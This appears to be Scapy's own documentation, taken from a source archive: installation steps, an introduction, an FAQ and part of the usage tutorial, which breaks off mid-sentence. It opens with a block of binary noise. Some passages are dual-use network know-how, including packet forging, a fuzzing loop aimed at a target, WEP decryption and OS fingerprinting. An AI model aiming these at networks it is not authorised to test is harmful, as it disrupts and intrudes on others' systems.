>(KR,v[- ݁$wkB,>SN̚5k]'I /^ysFvp}[ARk$cd^v{ͻCF]UnC`&8|0Ia%Okn?O^~!ߗVF]$@'tݪ!QRyΝKDbT2'}).Y_{饗N9x|[u ']-[%lMcu!l׮]+VVV̞k;vLuG'r `vXxqqynz/;묳jKMFݻ[OKΝ;b& lx⦯a=-i~`[ -[V2@]j*{(IݢGCɼo[//jZ}GEvy`_ license. .. toctree:: :maxdepth: 2 introduction installation usage advanced_usage extending build_dissect troubleshooting development backmatter scapy-2.3.3/doc/scapy/installation.rst000066400000000000000000000440751300136037300177630ustar00rootroot00000000000000.. highlight:: sh ************************* Download and Installation ************************* Overview ======== 0. Install *Python 2*. 1. Download and install *Scapy*. 2. (For non-Linux platforms): Install *libpcap and libdnet* and their Python wrappers. 3. (Optional): Install *additional software* for special features. 4. Run Scapy with root privileges. Each of these steps can be done in a different way dependent on your platform and on the version of Scapy you want to use. At the moment, there are two different versions of Scapy: * **Scapy v1.x**. It consists of only one file and works on Python 2.4, so it might be easier to install. Moreover, your OS may already have a specially prepared packages or ports for it. Last version is v1.2.2. * **Scapy v2.x**. The current development version adds several features (e.g. IPv6). It consists of several files packaged in the standard distutils way. Scapy v2 needs Python 2.5. .. note:: In Scapy v2 use ``from scapy.all import *`` instead of ``from scapy import *``. Installing Scapy v2.x ===================== The following steps describe how to install (or update) Scapy itself. Dependent on your platform, some additional libraries might have to be installed to make it actually work. So please also have a look at the platform specific chapters on how to install those requirements. .. note:: The following steps apply to Unix-like operating systems (Linux, BSD, Mac OS X). For Windows, see the special chapter below. Make sure you have Python installed before you go on. Latest release -------------- Download the `latest version `_ to a temporary directory and install it in the standard `distutils `_ way:: $ cd /tmp $ wget scapy.net $ unzip scapy-latest.zip $ cd scapy-2.* $ sudo python setup.py install Alternatively, you can execute the zip file:: $ chmod +x scapy-latest.zip $ sudo ./scapy-latest.zip or:: $ sudo sh scapy-latest.zip or:: $ mv scapy-latest.zip /usr/local/bin/scapy $ sudo scapy .. note:: To make a zip executable, some bytes have been added before the zip header. Most zip programs handle this, but not all. If your zip program complains about the zip file to be corrupted, either change it, or download a non-executable zip at https://github.com/secdev/scapy/archive/master.zip Current development version ---------------------------- .. index:: single: Git, repository If you always want the latest version with all new features and bugfixes, use Scapy's Git repository: 1. Install the Git version control system. For example, on Debian/Ubuntu use:: $ sudo apt-get install git or on OpenBSD:: $ pkg_add git 2. Check out a clone of Scapy's repository:: $ git clone https://github.com/secdev/scapy 3. Install Scapy in the standard distutils way:: $ cd scapy $ sudo python setup.py install Then you can always update to the latest version:: $ git pull $ sudo python setup.py install Installing Scapy v1.2 ===================== As Scapy v1 consists only of one single Python file, installation is easy: Just download the last version and run it with your Python interpreter:: $ wget https://raw.githubusercontent.com/secdev/scapy/v1.2.0.2/scapy.py $ sudo python scapy.py .. index:: single: scapy-bpf On BSD systems, you can also try the latest version of `Scapy-bpf `_ (`development repository `_). It doesn't need libpcap or libdnet. Optional software for special features ====================================== For some special features you have to install more software. Platform-specific instructions on how to install those packages can be found in the next chapter. Here are the topics involved and some examples that you can use to try if your installation was successful. .. index:: single: plot() * Plotting. ``plot()`` needs `Gnuplot-py `_ which needs `GnuPlot `_ and `NumPy `_. .. code-block:: python >>> p=sniff(count=50) >>> p.plot(lambda x:len(x)) * 2D graphics. ``psdump()`` and ``pdfdump()`` need `PyX `_ which in turn needs a `LaTeX distribution `_. For viewing the PDF and PS files interactively, you also need `Adobe Reader `_ (``acroread``) and `gv `_ (``gv``). .. code-block:: python >>> p=IP()/ICMP() >>> p.pdfdump("test.pdf") * Graphs. ``conversations()`` needs `Graphviz `_ and `ImageMagick `_. .. code-block:: python >>> p=readpcap("myfile.pcap") >>> p.conversations(type="jpg", target="> test.jpg") * 3D graphics. ``trace3D()`` needs `VPython `_. .. code-block:: python >>> a,u=traceroute(["www.python.org", "google.com","slashdot.org"]) >>> a.trace3D() .. index:: single: WEP, unwep() * WEP decryption. ``unwep()`` needs `PyCrypto `_. Example using a `Weplap test file `_: .. code-block:: python >>> enc=rdpcap("weplab-64bit-AA-managed.pcap") >>> enc.show() >>> enc[0] >>> conf.wepkey="AA\x00\x00\x00" >>> dec=Dot11PacketList(enc).toEthernet() >>> dec.show() >>> dec[0] * Fingerprinting. ``nmap_fp()`` needs `Nmap `_. You need an `old version `_ (before v4.23) that still supports first generation fingerprinting. .. code-block:: python >>> load_module("nmap") >>> nmap_fp("192.168.0.1") Begin emission: Finished to send 8 packets. Received 19 packets, got 4 answers, remaining 4 packets (0.88749999999999996, ['Draytek Vigor 2000 ISDN router']) .. index:: single: VOIP * VOIP. ``voip_play()`` needs `SoX `_. Platform-specific instructions ============================== Linux native ------------ Scapy can run natively on Linux, without libdnet and libpcap. * Install `Python 2.5 `_. * Install `tcpdump `_ and make sure it is in the $PATH. (It's only used to compile BPF filters (``-ddd option``)) * Make sure your kernel has Packet sockets selected (``CONFIG_PACKET``) * If your kernel is < 2.6, make sure that Socket filtering is selected ``CONFIG_FILTER``) Debian/Ubuntu ------------- Just use the standard packages:: $ sudo apt-get install tcpdump graphviz imagemagick python-gnuplot python-crypto python-pyx Fedora ------ Here's how to install Scapy on Fedora 9: .. code-block:: text # yum install git python-devel # cd /tmp # git clone https://github.com/secdev/scapy # cd scapy # python setup.py install Some optional packages: .. code-block:: text # yum install graphviz python-crypto sox PyX gnuplot numpy # cd /tmp # wget http://heanet.dl.sourceforge.net/sourceforge/gnuplot-py/gnuplot-py-1.8.tar.gz # tar xvfz gnuplot-py-1.8.tar.gz # cd gnuplot-py-1.8 # python setup.py install Mac OS X -------- On Mac OS X, Scapy does not work natively. You need to install Python bindings to use libdnet and libpcap. You can choose to install using either Homebrew or MacPorts. They both work fine, yet Homebrew is used to run unit tests with `Travis CI `_. Install using Homebrew ^^^^^^^^^^^^^^^^^^^^^^ 1. Update Homebrew:: $ sudo brew update 2. Install Python bindings:: $ sudo brew install --with-python libdnet $ sudo brew install https://raw.githubusercontent.com/secdev/scapy/master/.travis/pylibpcap.r Install using MacPorts ^^^^^^^^^^^^^^^^^^^^^^ 1. Update MacPorts:: $ sudo port -d selfupdate 2. Install Python bindings:: $ sudo port install py-libdnet py-pylibpcap OpenBSD ------- Here's how to install Scapy on OpenBSD 4.3. .. code-block:: text # export PKG_PATH=ftp://ftp.openbsd.org/pub/OpenBSD/4.3/packages/i386/ # pkg_add py-libpcap py-libdnet git # ln -sf /usr/local/bin/python2.5 /usr/local/bin/python # cd /tmp # git clone http://github.com/secdev/scapy # cd scapy # python setup.py install Optional packages ^^^^^^^^^^^^^^^^^ py-crypto .. code-block:: text # pkg_add py-crypto gnuplot and its Python binding: .. code-block:: text # pkg_add gnuplot py-gnuplot Graphviz (large download, will install several GNOME libraries) .. code-block:: text # pkg_add graphviz ImageMagick (takes long to compile) .. code-block:: text # cd /tmp # ftp ftp://ftp.openbsd.org/pub/OpenBSD/4.3/ports.tar.gz # cd /usr # tar xvfz /tmp/ports.tar.gz # cd /usr/ports/graphics/ImageMagick/ # make install PyX (very large download, will install texlive etc.) .. code-block:: text # pkg_add py-pyx /etc/ethertypes .. code-block:: text # wget http://git.netfilter.org/ebtables/plain/ethertypes -O /etc/ethertypes python-bz2 (for UTscapy) .. code-block:: text # pkg_add python-bz2 .. _windows_installation: Windows ------- .. sectionauthor:: Dirk Loss Scapy is primarily being developed for Unix-like systems and works best on those platforms. But the latest version of Scapy supports Windows out-of-the-box. So you can use nearly all of Scapy's features on your Windows machine as well. .. note:: If you update from Scapy-win v1.2.0.2 to Scapy v2 remember to use ``from scapy.all import *`` instead of ``from scapy import *``. .. image:: graphics/scapy-win-screenshot1.png :scale: 80 :align: center You need the following software packages in order to install Scapy on Windows: * `Python `_: `python-2.5.4.msi `_. `python-2.6.3.msi `_. After installation, add the Python installation directory and its \Scripts subdirectory to your PATH. Depending on your Python version, the defaults would be ``C:\Python25`` and ``C:\Python25\Scripts`` or ``C:\Python26`` and ``C:\Python26\Scripts`` respectively. * `Scapy `_: `latest development version `_ from the `Git repository `_. Unzip the archive, open a command prompt in that directory and run "python setup.py install". * `pywin32 `_: `pywin32-214.win32-py2.5.exe `_ `pywin32-214.win32-py2.6.exe `_ * `WinPcap `_: `WinPcap_4_1_1.exe `_. You might want to choose "[x] Automatically start the WinPcap driver at boot time", so that non-privileged users can sniff, especially under Vista and Windows 7. If you want to use the ethernet vendor database to resolve MAC addresses or use the ``wireshark()`` command, download `Wireshark `_ which already includes WinPcap. * `pypcap `_: `pcap-1.1-scapy-20090720.win32-py25.exe `_ `pcap-1.1-scapy-20090720.win32-py2.6.exe `_. This is a *special version for Scapy*, as the original leads to some timing problems. Now works on Vista and Windows 7, too. Under Vista/Win7 please right-click on the installer and choose "Run as administrator". * `libdnet `_: `dnet-1.12.win32-py2.5.exe `_ `dnet-1.12.win32-py2.6.exe `_. Under Vista/Win7 please right-click on the installer and choose "Run as administrator" * `pyreadline `_: `pyreadline-1.5-win32-setup.exe `_ Just download the files and run the setup program. Choosing the default installation options should be safe. For your convenience direct links are given to the versions I used (for Python 2.5 and Python 2.6). If these links do not work or if you are using a different Python version, just visit the homepage of the respective package and look for a Windows binary. As a last resort, search the web for the filename. After all packages are installed, open a command prompt (cmd.exe) and run Scapy by typing ``scapy``. If you have set the PATH correctly, this will find a little batch file in your ``C:\Python26\Scripts`` directory and instruct the Python interpreter to load Scapy. If really nothing seems to work, consider skipping the Windows version and using Scapy from a Linux Live CD -- either in a virtual machine on your Windows host or by booting from CDROM: An older version of Scapy is already included in grml and BackTrack for example. While using the Live CD you can easily upgrade to the latest Scapy version by typing ``cd /tmp && wget scapy.net``. Optional packages ^^^^^^^^^^^^^^^^^ Plotting (``plot``) * `GnuPlot `_: `gp420win32.zip `_. Extract the zip file (e.g. to ``c:\gnuplot``) and add the ``gnuplot\bin`` directory to your PATH. * `NumPy `_: `numpy-1.3.0-win32-superpack-python2.5.exe `_ `numpy-1.3.0-win32-superpack-python2.6.exe `_. Gnuplot-py 1.8 needs NumPy. * `Gnuplot-py `_: `gnuplot-py-1.8.zip `_. Extract to temp dir, open command prompt, change to tempdir and type ``python setup.py install``. 2D Graphics (``psdump``, ``pdfdump``) * `PyX `_: `PyX-0.10.tar.gz `_. Extract to temp dir, open command prompt, change to tempdir and type ``python setup.py install`` * `MikTeX `_: `Basic MiKTeX 2.8 Installer `_. PyX needs a LaTeX installation. Choose an installation directory WITHOUT spaces (e.g. ``C:\MikTex2.8`` and add the ``(INSTALLDIR)\miktex\bin`` subdirectory to your PATH. Graphs (conversations) * `Graphviz `_: `graphviz-2.24.exe `_. Add ``(INSTALLDIR)\ATT\Graphviz\bin`` to your PATH. 3D Graphics (trace3d) * `VPython `_: `VPython-Win-Py2.5-3.2.11.exe `_. No binary installer for Python 2.6 seems to be available yet. WEP decryption * `PyCrypto `_: `pycrypto-2.1.0.win32-py2.5.zip `_ `pycrypto-2.1.0.win32-py2.6.zip `_ Fingerprinting * `Nmap `_. `nmap-4.20-setup.exe `_. If you use the default installation directory, Scapy should automatically find the fingerprints file. * Queso: `queso-980922.tar.gz `_. Extract the tar.gz file (e.g. using `7-Zip `_) and put ``queso.conf`` into your Scapy directory Screenshot ^^^^^^^^^^ .. image:: graphics/scapy-win-screenshot2.png :scale: 80 :align: center Known bugs ^^^^^^^^^^ * You may not be able to capture WLAN traffic on Windows. Reasons are explained on the Wireshark wiki and in the WinPcap FAQ. Try switching off promiscuous mode with ``conf.sniff_promisc=False``. * Packets cannot be sent to localhost (or local IP addresses on your own host). * The ``voip_play()`` functions do not work because they output the sound via ``/dev/dsp`` which is not available on Windows. Build the documentation offline =============================== The Scapy project's documentation is written using reStructuredText (files \*.rst) and can be built using the `Sphinx `_ python library. The official online version is available on `readthedocs `_. HTML version ------------ The instructions to build the HTML version are: :: (activate a virtualenv) pip install sphinx cd doc/scapy make html You can now open the resulting HTML file ``_build/html/index.html`` in your favorite web browser. To use the ReadTheDocs' template, you will have to install the corresponding theme with: :: pip install sphinx_rtd_theme and edit the doc/scapy/conf.py file to have: :: import sphinx_rtd_theme #html_style = 'default.css' html_theme = "sphinx_rtd_theme" html_theme_path = [sphinx_rtd_theme.get_html_theme_path()] Note: make sure you commented out the ``html_style`` variable. UML diagram ----------- Using ``pyreverse`` you can build an UML representation of the Scapy source code's object hierarchy. Here is an example on how to build the inheritence graph for the Fields objects : :: (activate a virtualenv) pip install pylint cd scapy/ pyreverse -o png -p fields scapy/fields.py This will generate a ``classes_fields.png`` picture containing the inheritance hierarchy. Note that you can provide as many modules or packages as you want, but the result will quickly get unreadable. To see the dependencies between the DHCP layer and the ansmachine module, you can run: :: pyreverse -o png -p dhcp_ans scapy/ansmachine.py scapy/layers/dhcp.py scapy/packet.py In this case, Pyreverse will also generate a ``packages_dhcp_ans.png`` showing the link between the different python modules provided. scapy-2.3.3/doc/scapy/introduction.rst000066400000000000000000000255701300136037300200020ustar00rootroot00000000000000************ Introduction ************ .. sectionauthor:: Philippe Biondi About Scapy =========== Scapy is a Python program that enables the user to send, sniff and dissect and forge network packets. This capability allows construction of tools that can probe, scan or attack networks. In other words, Scapy is a powerful interactive packet manipulation program. It is able to forge or decode packets of a wide number of protocols, send them on the wire, capture them, match requests and replies, and much more. Scapy can easily handle most classical tasks like scanning, tracerouting, probing, unit tests, attacks or network discovery. It can replace hping, arpspoof, arp-sk, arping, p0f and even some parts of Nmap, tcpdump, and tshark). .. image:: graphics/testing-taxonomy.* :scale: 50 Scapy also performs very well on a lot of other specific tasks that most other tools can't handle, like sending invalid frames, injecting your own 802.11 frames, combining techniques (VLAN hopping+ARP cache poisoning, VOIP decoding on WEP encrypted channel, ...), etc. The idea is simple. Scapy mainly does two things: sending packets and receiving answers. You define a set of packets, it sends them, receives answers, matches requests with answers and returns a list of packet couples (request, answer) and a list of unmatched packets. This has the big advantage over tools like Nmap or hping that an answer is not reduced to (open/closed/filtered), but is the whole packet. On top of this can be build more high level functions, for example one that does traceroutes and give as a result only the start TTL of the request and the source IP of the answer. One that pings a whole network and gives the list of machines answering. One that does a portscan and returns a LaTeX report. What makes Scapy so special =========================== First, with most other networking tools, you won't build something the author did not imagine. These tools have been built for a specific goal and can't deviate much from it. For example, an ARP cache poisoning program won't let you use double 802.1q encapsulation. Or try to find a program that can send, say, an ICMP packet with padding (I said *padding*, not *payload*, see?). In fact, each time you have a new need, you have to build a new tool. Second, they usually confuse decoding and interpreting. Machines are good at decoding and can help human beings with that. Interpretation is reserved to human beings. Some programs try to mimic this behaviour. For instance they say "*this port is open*" instead of "*I received a SYN-ACK*". Sometimes they are right. Sometimes not. It's easier for beginners, but when you know what you're doing, you keep on trying to deduce what really happened from the program's interpretation to make your own, which is hard because you lost a big amount of information. And you often end up using ``tcpdump -xX`` to decode and interpret what the tool missed. Third, even programs which only decode do not give you all the information they received. The network's vision they give you is the one their author thought was sufficient. But it is not complete, and you have a bias. For instance, do you know a tool that reports the Ethernet padding? Scapy tries to overcome those problems. It enables you to build exactly the packets you want. Even if I think stacking a 802.1q layer on top of TCP has no sense, it may have some for somebody else working on some product I don't know. Scapy has a flexible model that tries to avoid such arbitrary limits. You're free to put any value you want in any field you want, and stack them like you want. You're an adult after all. In fact, it's like building a new tool each time, but instead of dealing with a hundred line C program, you only write 2 lines of Scapy. After a probe (scan, traceroute, etc.) Scapy always gives you the full decoded packets from the probe, before any interpretation. That means that you can probe once and interpret many times, ask for a traceroute and look at the padding for instance. Fast packet design ------------------ Other tools stick to the **program-that-you-run-from-a-shell** paradigm. The result is an awful syntax to describe a packet. For these tools, the solution adopted uses a higher but less powerful description, in the form of scenarios imagined by the tool's author. As an example, only the IP address must be given to a port scanner to trigger the **port scanning** scenario. Even if the scenario is tweaked a bit, you still are stuck to a port scan. Scapy's paradigm is to propose a Domain Specific Language (DSL) that enables a powerful and fast description of any kind of packet. Using the Python syntax and a Python interpreter as the DSL syntax and interpreter has many advantages: there is no need to write a separate interpreter, users don't need to learn yet another language and they benefit from a complete, concise and very powerful language. Scapy enables the user to describe a packet or set of packets as layers that are stacked one upon another. Fields of each layer have useful default values that can be overloaded. Scapy does not oblige the user to use predetermined methods or templates. This alleviates the requirement of writing a new tool each time a different scenario is required. In C, it may take an average of 60 lines to describe a packet. With Scapy, the packets to be sent may be described in only a single line with another line to print the result. 90\% of the network probing tools can be rewritten in 2 lines of Scapy. Probe once, interpret many -------------------------- Network discovery is blackbox testing. When probing a network, many stimuli are sent while only a few of them are answered. If the right stimuli are chosen, the desired information may be obtained by the responses or the lack of responses. Unlike many tools, Scapy gives all the information, i.e. all the stimuli sent and all the responses received. Examination of this data will give the user the desired information. When the dataset is small, the user can just dig for it. In other cases, the interpretation of the data will depend on the point of view taken. Most tools choose the viewpoint and discard all the data not related to that point of view. Because Scapy gives the complete raw data, that data may be used many times allowing the viewpoint to evolve during analysis. For example, a TCP port scan may be probed and the data visualized as the result of the port scan. The data could then also be visualized with respect to the TTL of response packet. A new probe need not be initiated to adjust the viewpoint of the data. .. image:: graphics/scapy-concept.* :scale: 80 Scapy decodes, it does not interpret ------------------------------------ A common problem with network probing tools is they try to interpret the answers received instead of only decoding and giving facts. Reporting something like **Received a TCP Reset on port 80** is not subject to interpretation errors. Reporting **Port 80 is closed** is an interpretation that may be right most of the time but wrong in some specific contexts the tool's author did not imagine. For instance, some scanners tend to report a filtered TCP port when they receive an ICMP destination unreachable packet. This may be right, but in some cases it means the packet was not filtered by the firewall but rather there was no host to forward the packet to. Interpreting results can help users that don't know what a port scan is but it can also make more harm than good, as it injects bias into the results. What can tend to happen is that so that they can do the interpretation themselves, knowledgeable users will try to reverse engineer the tool's interpretation to derive the facts that triggered that interpretation. Unfortunately much information is lost in this operation. Quick demo ========== First, we play a bit and create four IP packets at once. Let's see how it works. We first instantiate the IP class. Then, we instantiate it again and we provide a destination that is worth four IP addresses (/30 gives the netmask). Using a Python idiom, we develop this implicit packet in a set of explicit packets. Then, we quit the interpreter. As we provided a session file, the variables we were working on are saved, then reloaded:: # ./scapy.py -s mysession New session [mysession] Welcome to Scapy (0.9.17.108beta) >>> IP() >>> target="www.target.com" >>> target="www.target.com/30" >>> ip=IP(dst=target) >>> ip |> >>> [p for p in ip] [, , , ] >>> ^D :: # scapy -s mysession Using session [mysession] Welcome to Scapy (0.9.17.108beta) >>> ip |> Now, let's manipulate some packets:: >>> IP() >>> a=IP(dst="172.16.1.40") >>> a >>> a.dst '172.16.1.40' >>> a.ttl 64 Let's say I want a broadcast MAC address, and IP payload to ketchup.com and to mayo.com, TTL value from 1 to 9, and an UDP payload:: >>> Ether(dst="ff:ff:ff:ff:ff:ff") /IP(dst=["ketchup.com","mayo.com"],ttl=(1,9)) /UDP() We have 18 packets defined in 1 line (1 implicit packet) Sensible default values ----------------------- Scapy tries to use sensible default values for all packet fields. If not overriden, * IP source is chosen according to destination and routing table * Checksum is computed * Source MAC is chosen according to the output interface * Ethernet type and IP protocol are determined by the upper layer .. image:: graphics/default-values-ip.png :scale: 60 Other fields’ default values are chosen to be the most useful ones: * TCP source port is 20, destination port is 80. * UDP source and destination ports are 53. * ICMP type is echo request. Learning Python =============== Scapy uses the Python interpreter as a command board. That means that you can directly use the Python language (assign variables, use loops, define functions, etc.) If you are new to Python and you really don't understand a word because of that, or if you want to learn this language, take an hour to read the very good `Python tutorial `_ by Guido Van Rossum. After that, you'll know Python :) (really!). For a more in-depth tutorial `Dive Into Python `_ is a very good start too. For a quick start, here's an overview of Python's data types: * ``int`` (signed, 32bits) : ``42`` * ``long`` (signed, infinite): ``42L`` * ``str`` : ``"bell\x07\n"`` or ``’bell\x07\n’`` * ``tuple`` (immutable): ``(1,4,"42")`` * ``list`` (mutable): ``[4,2,"1"]`` * ``dict`` (mutable): ``{ "one":1 , "two":2 }`` There are no block delimiters in Python. Instead, indentation does matter:: if cond: instr instr elif cond2: instr else: instr scapy-2.3.3/doc/scapy/troubleshooting.rst000066400000000000000000000063051300136037300205030ustar00rootroot00000000000000*************** Troubleshooting *************** FAQ === My TCP connections are reset by Scapy or by my kernel. ------------------------------------------------------ The kernel is not aware of what Scapy is doing behind his back. If Scapy sends a SYN, the target replies with a SYN-ACK and your kernel sees it, it will reply with a RST. To prevent this, use local firewall rules (e.g. NetFilter for Linux). Scapy does not mind about local firewalls. I can't ping 127.0.0.1. Scapy does not work with 127.0.0.1 or on the loopback interface --------------------------------------------------------------------------------------- The loopback interface is a very special interface. Packets going through it are not really assembled and disassembled. The kernel routes the packet to its destination while it is still stored an internal structure. What you see with tcpdump -i lo is only a fake to make you think everything is normal. The kernel is not aware of what Scapy is doing behind his back, so what you see on the loopback interface is also a fake. Except this one did not come from a local structure. Thus the kernel will never receive it. In order to speak to local applications, you need to build your packets one layer upper, using a PF_INET/SOCK_RAW socket instead of a PF_PACKET/SOCK_RAW (or its equivalent on other systems that Linux):: >>> conf.L3socket >>> conf.L3socket=L3RawSocket >>> sr1(IP(dst="127.0.0.1")/ICMP()) > BPF filters do not work. I'm on a ppp link ------------------------------------------ This is a known bug. BPF filters must compiled with different offsets on ppp links. It may work if you use libpcap (which will be used to compile the BPF filter) instead of using native linux support (PF_PACKET sockets). traceroute() does not work. I'm on a ppp link --------------------------------------------- This is a known bug. See BPF filters do not work. I'm on a ppp link To work around this, use ``nofilter=1``:: >>> traceroute("target", nofilter=1) Graphs are ugly/fonts are too big/image is truncated. ----------------------------------------------------- Quick fix: use png format:: >>> x.graph(format="png") Upgrade to latest version of GraphViz. Try providing different DPI options (50,70,75,96,101,125, for instance):: >>> x.graph(options="-Gdpi=70") If it works, you can make it permanenent:: >>> conf.prog.dot = "dot -Gdpi=70" You can also put this line in your ``~/.scapy_startup.py`` file Getting help ============ Common problems are answered in the FAQ. There's a low traffic mailing list at ``scapy.ml(at)secdev.org`` (`archive `_, `RSS, NNTP `_). You are encouraged to send questions, bug reports, suggestions, ideas, cool usages of Scapy, etc. to this list. Subscribe by sending a mail to ``scapy.ml-subscribe(at)secdev.org``. To avoid spam, you must subscribe to the mailing list to post. scapy-2.3.3/doc/scapy/usage.rst000066400000000000000000001773751300136037300164000ustar00rootroot00000000000000***** Usage ***** Starting Scapy ============== Scapy's interactive shell is run in a terminal session. Root privileges are needed to send the packets, so we're using ``sudo`` here:: $ sudo scapy Welcome to Scapy (2.0.1-dev) >>> On Windows, please open a command prompt (``cmd.exe``) and make sure that you have administrator privileges:: C:\>scapy INFO: No IPv6 support in kernel WARNING: No route found for IPv6 destination :: (no default route?) Welcome to Scapy (2.0.1-dev) >>> If you do not have all optional packages installed, Scapy will inform you that some features will not be available:: INFO: Can't import python gnuplot wrapper . Won't be able to plot. INFO: Can't import PyX. Won't be able to use psdump() or pdfdump(). The basic features of sending and receiving packets should still work, though. Interactive tutorial ==================== This section will show you several of Scapy's features. Just open a Scapy session as shown above and try the examples yourself. First steps ----------- Let's build a packet and play with it:: >>> a=IP(ttl=10) >>> a < IP ttl=10 |> >>> a.src ’127.0.0.1’ >>> a.dst="192.168.1.1" >>> a < IP ttl=10 dst=192.168.1.1 |> >>> a.src ’192.168.8.14’ >>> del(a.ttl) >>> a < IP dst=192.168.1.1 |> >>> a.ttl 64 Stacking layers --------------- The ``/`` operator has been used as a composition operator between two layers. When doing so, the lower layer can have one or more of its defaults fields overloaded according to the upper layer. (You still can give the value you want). A string can be used as a raw layer. :: >>> IP() >>> IP()/TCP() > >>> Ether()/IP()/TCP() >> >>> IP()/TCP()/"GET / HTTP/1.0\r\n\r\n" >> >>> Ether()/IP()/IP()/UDP() >>> >>> IP(proto=55)/TCP() > .. image:: graphics/fieldsmanagement.png :scale: 90 Each packet can be build or dissected (note: in Python ``_`` (underscore) is the latest result):: >>> str(IP()) 'E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01' >>> IP(_) >>> a=Ether()/IP(dst="www.slashdot.org")/TCP()/"GET /index.html HTTP/1.0 \n\n" >>> hexdump(a) 00 02 15 37 A2 44 00 AE F3 52 AA D1 08 00 45 00 ...7.D...R....E. 00 43 00 01 00 00 40 06 78 3C C0 A8 05 15 42 23 .C....@.x<....B# FA 97 00 14 00 50 00 00 00 00 00 00 00 00 50 02 .....P........P. 20 00 BB 39 00 00 47 45 54 20 2F 69 6E 64 65 78 ..9..GET /index 2E 68 74 6D 6C 20 48 54 54 50 2F 31 2E 30 20 0A .html HTTP/1.0 . 0A . >>> b=str(a) >>> b '\x00\x02\x157\xa2D\x00\xae\xf3R\xaa\xd1\x08\x00E\x00\x00C\x00\x01\x00\x00@\x06x<\xc0 \xa8\x05\x15B#\xfa\x97\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00 \xbb9\x00\x00GET /index.html HTTP/1.0 \n\n' >>> c=Ether(b) >>> c >>> We see that a dissected packet has all its fields filled. That's because I consider that each field has its value imposed by the original string. If this is too verbose, the method hide_defaults() will delete every field that has the same value as the default:: >>> c.hide_defaults() >>> c >>> Reading PCAP files ------------------ .. index:: single: rdpcap() You can read packets from a pcap file and write them to a pcap file. >>> a=rdpcap("/spare/captures/isakmp.cap") >>> a Graphical dumps (PDF, PS) ------------------------- .. index:: single: pdfdump(), psdump() If you have PyX installed, you can make a graphical PostScript/PDF dump of a packet or a list of packets (see the ugly PNG image below. PostScript/PDF are far better quality...):: >>> a[423].pdfdump(layer_shift=1) >>> a[423].psdump("/tmp/isakmp_pkt.eps",layer_shift=1) .. image:: graphics/isakmp_dump.png ======================= ==================================================== Command Effect ======================= ==================================================== str(pkt) assemble the packet hexdump(pkt) have an hexadecimal dump ls(pkt) have the list of fields values pkt.summary() for a one-line summary pkt.show() for a developed view of the packet pkt.show2() same as show but on the assembled packet (checksum is calculated, for instance) pkt.sprintf() fills a format string with fields values of the packet pkt.decode_payload_as() changes the way the payload is decoded pkt.psdump() draws a PostScript diagram with explained dissection pkt.pdfdump() draws a PDF with explained dissection pkt.command() return a Scapy command that can generate the packet ======================= ==================================================== Generating sets of packets -------------------------- For the moment, we have only generated one packet. Let see how to specify sets of packets as easily. Each field of the whole packet (ever layers) can be a set. This implicitly define a set of packets, generated using a kind of cartesian product between all the fields. :: >>> a=IP(dst="www.slashdot.org/30") >>> a >>> [p for p in a] [, , , ] >>> b=IP(ttl=[1,2,(5,9)]) >>> b >>> [p for p in b] [, , , , , , ] >>> c=TCP(dport=[80,443]) >>> [p for p in a/c] [>, >, >, >, >, >, >, >] Some operations (like building the string from a packet) can't work on a set of packets. In these cases, if you forgot to unroll your set of packets, only the first element of the list you forgot to generate will be used to assemble the packet. =============== ==================================================== Command Effect =============== ==================================================== summary() displays a list of summaries of each packet nsummary() same as previous, with the packet number conversations() displays a graph of conversations show() displays the preferred representation (usually nsummary()) filter() returns a packet list filtered with a lambda function hexdump() returns a hexdump of all packets hexraw() returns a hexdump of the Raw layer of all packets padding() returns a hexdump of packets with padding nzpadding() returns a hexdump of packets with non-zero padding plot() plots a lambda function applied to the packet list make table() displays a table according to a lambda function =============== ==================================================== Sending packets --------------- .. index:: single: Sending packets, send Now that we know how to manipulate packets. Let's see how to send them. The send() function will send packets at layer 3. That is to say it will handle routing and layer 2 for you. The sendp() function will work at layer 2. It's up to you to choose the right interface and the right link layer protocol. send() and sendp() will also return sent packet list if return_packets=True is passed as parameter. :: >>> send(IP(dst="1.2.3.4")/ICMP()) . Sent 1 packets. >>> sendp(Ether()/IP(dst="1.2.3.4",ttl=(1,4)), iface="eth1") .... Sent 4 packets. >>> sendp("I'm travelling on Ethernet", iface="eth1", loop=1, inter=0.2) ................^C Sent 16 packets. >>> sendp(rdpcap("/tmp/pcapfile")) # tcpreplay ........... Sent 11 packets. Returns packets sent by send() >>> send(IP(dst='127.0.0.1'), return_packets=True) . Sent 1 packets. Fuzzing ------- .. index:: single: fuzz(), fuzzing The function fuzz() is able to change any default value that is not to be calculated (like checksums) by an object whose value is random and whose type is adapted to the field. This enables to quickly built fuzzing templates and send them in loop. In the following example, the IP layer is normal, and the UDP and NTP layers are fuzzed. The UDP checksum will be correct, the UDP destination port will be overloaded by NTP to be 123 and the NTP version will be forced to be 4. All the other ports will be randomized:: >>> send(IP(dst="target")/fuzz(UDP()/NTP(version=4)),loop=1) ................^C Sent 16 packets. Send and receive packets (sr) ----------------------------- .. index:: single: sr() Now, let's try to do some fun things. The sr() function is for sending packets and receiving answers. The function returns a couple of packet and answers, and the unanswered packets. The function sr1() is a variant that only return one packet that answered the packet (or the packet set) sent. The packets must be layer 3 packets (IP, ARP, etc.). The function srp() do the same for layer 2 packets (Ethernet, 802.3, etc.). :: >>> p=sr1(IP(dst="www.slashdot.org")/ICMP()/"XXXXXXXXXXX") Begin emission: ...Finished to send 1 packets. .* Received 5 packets, got 1 answers, remaining 0 packets >>> p >>> >>> p.show() ---[ IP ]--- version = 4L ihl = 5L tos = 0x0 len = 39 id = 15489 flags = frag = 0L ttl = 42 proto = ICMP chksum = 0x51dd src = 66.35.250.151 dst = 192.168.5.21 options = '' ---[ ICMP ]--- type = echo-reply code = 0 chksum = 0xee45 id = 0x0 seq = 0x0 ---[ Raw ]--- load = 'XXXXXXXXXXX' ---[ Padding ]--- load = '\x00\x00\x00\x00' .. index:: single: DNS, Etherleak A DNS query (``rd`` = recursion desired). The host 192.168.5.1 is my DNS server. Note the non-null padding coming from my Linksys having the Etherleak flaw:: >>> sr1(IP(dst="192.168.5.1")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.slashdot.org"))) Begin emission: Finished to send 1 packets. ..* Received 3 packets, got 1 answers, remaining 0 packets an= ns=0 ar=0 |>>> The "send'n'receive" functions family is the heart of scapy. They return a couple of two lists. The first element is a list of couples (packet sent, answer), and the second element is the list of unanswered packets. These two elements are lists, but they are 